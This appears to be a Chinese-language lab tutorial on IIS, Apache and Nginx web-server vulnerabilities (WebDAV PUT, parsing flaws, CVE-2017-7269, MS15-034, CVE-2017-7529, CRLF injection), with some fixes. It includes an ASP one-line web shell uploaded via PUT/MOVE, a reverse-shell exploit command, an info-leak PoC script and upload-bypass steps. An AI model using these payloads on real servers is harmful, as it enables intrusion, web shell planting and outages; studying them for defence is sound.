文章目录
- IIS
- PUT漏洞
- iis6.0 解析漏洞
- IIS短文件漏洞
- 远程代码执行(RCE-CVE-2017-7269)
- iis7.x文件解析漏洞
- HTTP.SYS远程代码执行 (MS15-034)
- apache
- 未知扩展名解析漏洞
- AddHandler解析漏洞
- 目录遍历漏洞
- Apache HTTPD 换行解析漏洞(CVE-2017-15715)
- Nginx
- 文件解析漏洞
- 目录遍历漏洞
- 空字节代码执行漏洞
- 整数溢出漏洞(CVE-2017-7529)
- CRLF 注入漏洞
- 文件名逻辑漏洞(CVE-2013-4547)
- 扩展
IIS
简介
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 IIS目前只适用于Windows系统,不适用于其他操作系统。
PUT漏洞
利用条件
开启WebDAV和网页拥有写权限
版本:IIS 6.0
OPTIONS
OPTIONS它用于获取当前URL所支持的方法。
若请求成功,则它会在HTTP头中包含一个名为“Allow”的头,值是所支持的方法,如“GET, POST”。
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Cache-Control: private
PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 25
<%eval request("cmd")%>
MOVE /test.txt HTTP/1.1
Host:upload.moonteam.com
Destination:http://upload.moonteam.com/shell.asp
//或者
MOVE /test.txt HTTP/1.1
Host:upload.moonteam.com
Destination: /coleak.asp
修复
1.关闭webdav
2.关闭写入权限
iis6.0 解析漏洞
利用条件
该版本默认将*.asp;.jpg 此种格式的文件名,当成Asp解析。服务器默认不解析 ; 号及其后面的内容,相
当于截断。
iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp
默认将 *.asp/ 目录下的所有文件当成Asp解析
coleak.asp;1.jpg
/c.asp/1.jpg
IIS短文件漏洞
利用条件
IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。 IIS8.0以下版本需要开启ASP.NET支持,IIS>=8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。
原理
当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名
http://upload.moonteam.com/*~1*/a.aspx
http://upload.moonteam.com/upload*~1*/a.aspx
http://upload.moonteam.com/upload*~1.*/a.aspx
http://upload.moonteam.com/upload*~1.php/a.aspx
脚本
python iis.py http://upload.moonteam.com/
漏洞的局限性
-
只能猜解前六位,以及扩展名的前3位。
-
名称较短的文件是没有相应的短文件名的。
-
需要IIS和.net两个条件都满足
-
如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配;
5 ) 如果文件夹名前6位字符带点".",扫描程序会认为是文件而不是文件夹,最终出现误报;
- 不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测.
远程代码执行(RCE-CVE-2017-7269)
利用条件
WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。
iis6-exploit-2017-CVE-2017-7269脚本
反弹shell
python2 iis6 192.168.10.144 80 192.168.10.128 6666
iis7.x文件解析漏洞
原理
IIS7.x版本在Fast-CGl运行模式下,在任意文件,例:a001.jpg/png后面加上/.php,会将a001.jpg/png解析为php文件
HTTP.SYS远程代码执行 (MS15-034)
利用条件
Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和
Windows server 2012 R2
IIS7.5、IIS8.0、IIS8.5
编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞
MS15-034-IIS-Active-DoS-Exploit-PoC脚本可以直接让服务器蓝屏
apache
简介
Apache 是世界使用排名第一的Web 服务器软件。它可以运行在几乎所有广泛使用的 计算机平台上,由于其 跨平台 和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将 Perl/ Python等 解释器编译到服务器中。
未知扩展名解析漏洞
漏洞原理
未知扩展名解析漏洞依赖于apache解析的一个特性:apache读取文件判断文件类型时会读取最后一个后缀,如果该后缀无法识别(不在mime.types文件内),则会继续向左读取文件后缀,直到识别到合法的后缀后再进行解析。
修改配置文件
cd /etc/apache2/mods-enabled
sudo vim php8.1.conf
<FilesMatch “.+.ph(?:ar|p|tml).”>
访问aa.php.bak成功解析为php脚本
AddHandler解析漏洞
在apache2.conf里面添加一句
AddHandler application/x-httpd-php .php
利用条件
在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
然后访问/cc.php.aaaaapp自动解析为php脚本
目录遍历漏洞
原理
当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文件不存
在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。
比如访问http://192.168.10.128/test/
时可以遍历目录(test下面没有index文件)
修复漏洞
在httpd.conf文件中
找到Options + Indexes + FollowSymLinks + ExecCGI并修改成Options -Indexes + FollowSymLinks + ExecCGI并保存(把+修改为-)
<Directory>
Options-Indexes+FollowSymLinks+ExecCGI AllowOverrideAll
Orderallow,deny
Allowfromall
Requireallgranted
</Directory>
kali中写入或者删除Indexes
Options Indexes FollowSymLinks
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
利用条件
apache :2.4.0~2.4.29版本
原理
此漏洞形成的根本原因,在于
$
。正则表达式中$不仅匹配字符串结尾位置,也可以匹配\n 或 \r
服务器源码
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
echo $_FILES['file']['tmp_name'].'upload successfully';
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
?>
//这里获取文件名是需要单独post一个name的,因为如果通过 $_FILES['file']['name'] 获
//取文件名的话,会把\x0a自动去除,所以 $_FILES['file']['name'] 这种方式获取文件名就不会造成
//这个漏洞
自建一个html文件
<html>
<body>
<form action="http://192.168.10.139/coleak.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="text" name="name" />
<input type="submit" value="上传文件" />
</form>
</body>
</html>
n a m e = b a s e n a m e ( name = basename( name=basename(_POST[‘name’]);
在name后加一个点变成a.php.
然后进入hex,将.(2e)改为0a,(0x0a是换行符)
上传后可以访问/a.php%0A解析为php
Nginx
简介
Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好。
文件解析漏洞
利用条件
由于Nginx中php配置不当而造成的,与Nginx版本无关。但在高版本的php中,由于security.limit_extensions的引入,使得该漏洞难以被成功利用。
对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。 例:info.jpg后面加上/xxx.php,会将info.jpg 以php解析。
php.ini配置修改如下
cgi.fix_pathinfo=1
原理
php的一个选项:cgi.fix_pathinfo,该选项默认开启,值为1,用于修理路径, 例如:当php遇到文件路径"/info.jpg/xxx.php/lxh.sec"时,若"/info.jpg/xxx.php/lxh.sec"不存在,则会去掉最后的"/lxh.sec",然后判断"/info.jpg/xxx.php"是否存 在, 若存在则将/info.jpg/xxx.php当作文件/info.jpg/xxx.php/lxh.sec,若/info.jpg/xxx.php仍不存在,则继续去掉xxx.php,依此类推。
123.jpg
<?php
phpinfo();
?>
访问/123.jpg/a.php,成功触发phpinfo
目录遍历漏洞
利用条件
autoindex on 开启目录浏览
autoindex off关闭目录浏览 默认是关闭状态
修改nginx.conf
autoindex on
访问https://192.168.10.145/admin
遍历目录
空字节代码执行漏洞
简介
在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可在非
php文件中嵌入php代码,通过访问url+%00.php来执行其中的php代码。
利用版本
nginx 0.5.*
nginx 0.6.*
nginx 0.7 <= 0.7.65
nginx 0.8 <= 0.8.37
访问info.jpg,并抓包,修改为info.jpg..php,在Hex选修卡中将jpg后面的.,将2e更改为00
整数溢出漏洞(CVE-2017-7529)
利用条件
0.5.6 - 1.13.2版本内默认配置模块的Nginx
只需要开启缓存,攻击者即可发送恶意请求进行远程攻击造成信息泄露。
poc
#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
python3 poc.py http://your-ip:8080/
CRLF 注入漏洞
简介
Nginx将传入的url进行解码,对其中的%0a%0d替换成换行符,导致后面的数据注入至头部,造成CRLF
注入漏洞。
利用
攻击者打开一个网站,然后服务器会回复他一个session id。比如SID=abcdefg。Attack把这个id记下了
Attack给被攻击者发送一个电子邮件,他假装抽奖或者推销,诱导攻击者点击链接输入自己的账号和口令
因为服务器的session id不改变,现在被攻击者点击后,他就拥有了被攻击者的身份,就可以为所欲为了
修改配置文件
location / {
return 302 https://$host$uri;
}
访问/%0ASet-cookie:JSPSESSID%3D3
此时看返回的内容,服务器会set-cookie
文件名逻辑漏洞(CVE-2013-4547)
影响版本
Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
漏洞复现
创建1.jpg 文件并上传,抓包,在该文件最后添加一个空
访问URL:ip/1.jpg...php
在burp的hex页面中将第一个点.改成20,第二个改为004
扩展
FastCGI的重要特点
- 1、FastCGI是HTTP服务器和动态脚本语言间通信的接口或者工具。
- 2、FastCGI优点是把动态语言解析和HTTP服务器分离开来。
- 3、Nginx、Apache、Lighttpd以及多数动态语言都支持FastCGI。
- 4、FastCGI接口方式采用C/S架构,分为客户端(HTTP服务器)和服务端(动态语言解析服务器)。
- 5、PHP动态语言服务端可以启动多个FastCGI的守护进程。
- 6、HTTP服务器通过FastCGI客户端和动态语言FastCGI服务端通信。